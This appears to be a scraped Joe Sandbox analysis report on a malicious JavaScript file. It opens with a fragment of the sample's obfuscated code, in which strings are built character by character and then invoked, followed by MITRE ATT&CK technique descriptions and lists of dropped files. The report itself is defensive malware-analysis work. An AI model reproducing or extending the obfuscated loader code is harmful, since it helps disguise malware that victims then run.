1106	eypjcgl = "w";
1107	eypjcgl = "G";
1108	eypjcgl = "d";
1109	eypjcgl = "j";
1110	eypjcgl = "C";
1111	eypjcgl = "D";
1112	eypjcgl = "p";
1113	eypjcgl = "r";
1114	eypjcgl = "x";
1115	eypjcgl = "x";
1116	eypjcgl = "f";
1117	eypjcgl = "u";
1118	eypjcgl = "S";
1119	eypjcgl = "Q";
1120	eypjcgl = "X";
1121	eypjcgl = "c";
1122	eypjcgl = "M";
1123	eypjcgl = "t";
1124	eypjcgl = "j";
1125	eypjcgl = "n";
1126	eypjcgl = "p";
1127	eypjcgl = "2";
1128	kvmmdls = "s";
1129	kvmmdls = "k";
1130	kvmmdls = "I";
1131	kvmmdls = "n";
1132	kvmmdls = "a";
1133	kvmmdls = "r";
1134	kvmmdls = "n";
1135	kvmmdls = "Y";
1136	kvmmdls = "s";
1137	kvmmdls = "M";
1138	kvmmdls = "s";
1139	kvmmdls = "I";
1140	kvmmdls = "j";
1141	kvmmdls = "O";
1142	kvmmdls = "L";
1143	kvmmdls = "O";
1144	kvmmdls = "u";
1145	kvmmdls = "a";
1146	kvmmdls = "b";
1147	kvmmdls = "g";
1148	kvmmdls = "u";
1149	kvmmdls = "C";
1150	kvmmdls = "u";
1151	kvmmdls = "e";
1152	kvmmdls = "Z";
1153	kvmmdls = "A";
1154	kvmmdls = "y";
1155	kvmmdls = "n";
1156	dreoip = "E";
1157	dreoip = "i";
1158	dreoip = "j";
1159	dreoip = "u";
1160	dreoip = "c";
1161	dreoip = "m";
1162	dreoip = "W";
1163	dreoip = "K";
1164	dreoip = "U";
1165	dreoip = "r";
1166	dreoip = "N";
1167	dreoip = "y";
1168	dreoip = "P";
1169	dreoip = "u";
1170	dreoip = "T";
1171	dreoip = "k";
1172	dreoip = "C";
1173	dreoip = "N";
1174	dreoip = "U";
1175	xhqqmeod = "H";
1176	xhqqmeod = "I";
1177	xhqqmeod = "Z";
1178	xhqqmeod = "e";
1179	xhqqmeod = "g";
1180	xhqqmeod = "H";
1181	xhqqmeod = "I";
1182	xhqqmeod = "s";
1183	xhqqmeod = "s";
1184	xhqqmeod = "U";
1185	xhqqmeod = "f";
1186	xhqqmeod = "Z";
1187	xhqqmeod = "w";
1188	xhqqmeod = "F";
1189	xhqqmeod = "Y";
1190	xhqqmeod = "m";
1191	xhqqmeod = "z";
1192	xhqqmeod = "h";
1193	xhqqmeod = "Y";
1194	xhqqmeod = "P";
1195	xhqqmeod = "E";
1196	xhqqmeod = "C";
1197	xhqqmeod = "P";
1198	xhqqmeod = "n";
1199	xhqqmeod = "M";
1200	xhqqmeod = "b";
1201	xhqqmeod = "e";
1202	xhqqmeod = "g";
1203	xhqqmeod = "a";
1204	xhqqmeod = "T";
1205	xhqqmeod = "V";
1206	xhqqmeod = "v";
1207	xhqqmeod = "b";
1208	xhqqmeod = "N";
1209	whiloucae = "s";
1210	whiloucae = "v";
1211	whiloucae = "a";
1212	whiloucae = "J";
1213	whiloucae = "A";
1214	whiloucae = "D";
1215	whiloucae = "v";
1216	whiloucae = "p";
1217	whiloucae = "j";
1218	whiloucae = "R";
1219	whiloucae = "f";
1220	whiloucae = "H";
1221	whiloucae = "v";
1222	whiloucae = "G";
1223	whiloucae = "d";
1224	whiloucae = "F";
1225	qjaqwpp = "x";
1226	qjaqwpp = "M";
1227	qjaqwpp = "P";
1228	qjaqwpp = "r";
1229	qjaqwpp = "l";
1230	qjaqwpp = "D";
1231	qjaqwpp = "z";
1232	qjaqwpp = "x";
1233	qjaqwpp = "I";
1234	qjaqwpp = "y";
1235	qjaqwpp = "E";
1236	qjaqwpp = "K";
1237	qjaqwpp = "a";
1238	qjaqwpp = "P";
1239	qjaqwpp = "Z";
1240	qjaqwpp = "D";
1241	qjaqwpp = "Z";
1242	qjaqwpp = "G";
1243	qjaqwpp = "W";
1244	qjaqwpp = "o";
1245	qjaqwpp = "p";
1246	qjaqwpp = "j";
1247	qjaqwpp = "W";
1248	qjaqwpp = "f";
1249	qjaqwpp = "c";
1250	qjaqwpp = "F";
1251	qjaqwpp = "n";
1252	qjaqwpp = "-";
1253	qortdajr = "e";
1254	qortdajr = "E";
1255	qortdajr = "K";
1256	qortdajr = "Z";
1257	qortdajr = "S";
1258	qortdajr = "K";
1259	qortdajr = "A";
1260	qortdajr = "Z";
1261	qortdajr = "G";
1262	qortdajr = "N";
1263	qortdajr = "O";
1264	qortdajr = "u";
1265	qortdajr = "c";
1266	qortdajr = "E";
1267	qortdajr = "s";
1268	qortdajr = "z";
1269	qortdajr = "t";
1270	qortdajr = "j";
1271	qortdajr = "R";
1272	qortdajr = "w";
1273	qortdajr = "h";
1274	qortdajr = "I";
1275	qortdajr = "G";
1276	qortdajr = "P";
1277	qortdajr = "m";
1278	qortdajr = "o";
1279	qortdajr = "C";
1280	qortdajr = "i";
1281	qortdajr = "M";
1282	qortdajr = "A";
1283	qortdajr = "w";
1284	qortdajr = "F";
1285	qortdajr = "Z";
1286	qortdajr = "v";
1287	qortdajr = "n";
1288	qortdajr = "B";
1289	qortdajr = "1";
1290	foqtzrl = "Y";
1291	foqtzrl = "X";
1292	foqtzrl = "X";
1293	foqtzrl = "U";
1294	foqtzrl = "H";
1295	foqtzrl = "C";
1296	foqtzrl = "e";
1297	cornl = "B";
1298	cornl = "U";
1299	cornl = "g";
1300	cornl = "H";
1301	cornl = "G";
1302	cornl = "s";
1303	cornl = "l";
1304	cornl = "m";
1305	cornl = "w";
1306	cornl = "c";
1307	cornl = "J";
1308	cornl = "y";
1309	cornl = "f";
1310	cornl = "D";
1311	cornl = "N";
1312	cornl = "Z";
1313	cornl = "u";
1314	cornl = "w";
1315	cornl = "E";
1316	cornl = "d";
1317	cornl = "j";
1318	cornl = "W";
1319	cornl = "k";
1320	cornl = "K";
1321	cornl = "C";
1322	cornl = "S";
1323	cornl = "f";
1324	cornl = "D";
1325	cornl = "\"";
1326	mnbkv = "w";
1327	mnbkv = "i";
1328	mnbkv = "x";
1329	mnbkv = "h";
1330	mnbkv = "u";
1331	mnbkv = "k";
1332	mnbkv = "z";
1333	mnbkv = "d";
1334	mnbkv = "V";
1335	mnbkv = "s";
1336	mnbkv = "p";
1337	mnbkv = "D";
1338	mnbkv = "I";
1339	mnbkv = "B";
1340	mnbkv = "S";
1341	mnbkv = "p";
1342	mnbkv = "X";
1343	mnbkv = "Y";
1344	mnbkv = "c";
1345	mnbkv = "h";
1346	mnbkv = "N";
1347	mnbkv = "G";
1348	mnbkv = "i";
1349	mnbkv = "W";
1350	mnbkv = "S";
1351	lewwg = "g";
1352	lewwg = "h";
1353	lewwg = "U";
1354	lewwg = "b";
1355	lewwg = "P";
1356	lewwg = "K";
1357	lewwg = "j";
1358	lewwg = "Z";
1359	lewwg = "V";
1360	lewwg = "v";
1361	lewwg = "F";
1362	lewwg = "o";
1363	lewwg = "U";
1364	lewwg = "V";
1365	lewwg = "Z";
1366	lewwg = "U";
1367	lewwg = "U";
1368	lewwg = "G";
1369	lewwg = "r";
1370	lewwg = "E";
1371	lewwg = "Z";
1372	lewwg = "l";
1373	lewwg = "U";
1374	lewwg = "C";
1375	lewwg = "s";
1376	lewwg = "c";
1377	lewwg = "T";
1378	lewwg = "g";
1379	lewwg = "L";
1380	lewwg = "A";
1381	lewwg = "N";
1382	lewwg = "W";
1383	lewwg = "j";
1384	lewwg = "N";
1385	lewwg = "m";
1386	lewwg = "C";
1387	lewwg = "r";
1388	lewwg = "r";
1389	lewwg = "g";
1390	szfaxpxv = "d";
1391	szfaxpxv = "f";
1392	szfaxpxv = "y";
1393	szfaxpxv = "J";
1394	szfaxpxv = "o";
1395	szfaxpxv = "V";
1396	szfaxpxv = "w";
1397	szfaxpxv = "I";
1398	szfaxpxv = "m";
1399	szfaxpxv = "j";
1400	szfaxpxv = "s";
1401	szfaxpxv = "Z";
1402	szfaxpxv = "a";
1403	szfaxpxv = "X";
1404	szfaxpxv = "J";
1405	szfaxpxv = "v";
1406	szfaxpxv = "R";
1407	szfaxpxv = "T";
1408	szfaxpxv = "Y";
1409	szfaxpxv = "m";
1410	szfaxpxv = "K";
1411	szfaxpxv = "S";
1412	szfaxpxv = "w";
1413	szfaxpxv = "r";
1414	szfaxpxv = "i";
1415	szfaxpxv = "b";
1416	szfaxpxv = "P";
1417	szfaxpxv = "h";
1418	szfaxpxv = "e";
1419	szfaxpxv = "g";
1420	szfaxpxv = ":";
1421	qdzoftk = "F";
1422	qdzoftk = "a";
1423	qdzoftk = "p";
1424	qdzoftk = "v";
1425	qdzoftk = "o";
1426	qdzoftk = "d";
1427	qdzoftk = "u";
1428	qdzoftk = "H";
1429	qdzoftk = "L";
1430	qdzoftk = "C";
1431	qdzoftk = "N";
1432	qdzoftk = "b";
1433	qdzoftk = "T";
1434	qdzoftk = "l";
1435	qdzoftk = "n";
1436	qdzoftk = "y";
1437	qdzoftk = "M";
1438	qdzoftk = "m";
1439	qdzoftk = "D";
1440	qdzoftk = "T";
1441	qdzoftk = "f";
1442	qdzoftk = "a";
1443	qdzoftk = "T";
1444	qdzoftk = "V";
1445	qdzoftk = "K";
1446	qdzoftk = "O";
1447	qdzoftk = "K";
1448	qdzoftk = "h";
1449	qdzoftk = "J";
1450	qdzoftk = "c";
1451	qdzoftk = "m";
1452	wrzap = "V";
1453	wrzap = "l";
1454	wrzap = "U";
1455	wrzap = "D";
1456	wrzap = "W";
1457	wrzap = "l";
1458	wrzap = "w";
1459	wrzap = "h";
1460	wrzap = "m";
1461	wrzap = "i";
1462	wrzap = "v";
1463	wrzap = "X";
1464	wrzap = "B";
1465	wrzap = "f";
1466	wrzap = "z";
1467	wrzap = "r";
1468	wrzap = "E";
1469	wrzap = "E";
1470	wrzap = "I";
1471	wrzap = "Q";
1472	wrzap = "i";
1473	wrzap = "o";
1474	wrzap = "j";
1475	jaicwkofj = "W";
1476	jaicwkofj = "I";
1477	jaicwkofj = "F";
1478	jaicwkofj = "f";
1479	jaicwkofj = "L";
1480	jaicwkofj = "K";
1481	jaicwkofj = "m";
1482	jaicwkofj = "P";
1483	jaicwkofj = "o";
1484	jaicwkofj = "e";
1485	jaicwkofj = "s";
1486	jaicwkofj = "q";
1487	jaicwkofj = "r";
1488	jaicwkofj = "F";
1489	jaicwkofj = "O";
1490	jaicwkofj = "J";
1491	jaicwkofj = "o";
1492	jaicwkofj = "U";
1493	jaicwkofj = "g";
1494	jaicwkofj = "p";
1495	jaicwkofj = "h";
1496	jaicwkofj = "h";
1497	jaicwkofj = "b";
1498	jaicwkofj = "F";
1499	jaicwkofj = "y";
1500	jaicwkofj = "Z";
1501	jaicwkofj = "a";
1502	jaicwkofj = "q";
1503	jaicwkofj = "s";
1504	jaicwkofj = "t";
1505	jaicwkofj = "r";
1506	jaicwkofj = "M";
1507	jaicwkofj = "W";
1508	jaicwkofj = "S";
1509	jaicwkofj = "K";
1510	jaicwkofj = "u";
1511	jaicwkofj = "e";
1512	jaicwkofj = "N";
1513	jaicwkofj = "S";
1514	jaicwkofj = "9";
1515	dmfjdalrx = "f";
1516	dmfjdalrx = "c";
1517	dmfjdalrx = "O";
1518	dmfjdalrx = "M";
1519	dmfjdalrx = "n";
1520	dmfjdalrx = "Z";
1521	dmfjdalrx = "C";
1522	dmfjdalrx = "i";
1523	dmfjdalrx = "T";
1524	dmfjdalrx = "N";
1525	dmfjdalrx = "U";
1526	dmfjdalrx = "B";
1527	dmfjdalrx = "V";
1528	dmfjdalrx = "e";
1529	dmfjdalrx = "t";
1530	dmfjdalrx = "p";
1531	dmfjdalrx = "A";
1532	dmfjdalrx = "r";
1533	dmfjdalrx = "x";
1534	dmfjdalrx = "o";
1535	dmfjdalrx = "J";
1536	dmfjdalrx = "V";
1537	dmfjdalrx = "c";
1538	dmfjdalrx = "O";
1539	dmfjdalrx = "a";
1540	dmfjdalrx = "D";
1541	dmfjdalrx = "F";
1542	dmfjdalrx = "U";
1543	dmfjdalrx = "g";
1544	dmfjdalrx = "c";
1545	dmfjdalrx = "B";
1546	dmfjdalrx = "0";
1547	pluyrattj ( );	pluyrattj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2949911514285745182.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6d794f1a-40d1-4e1b-a473-bfba7fea5296.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5908

Windows Analysis Report
2949911514285745182.js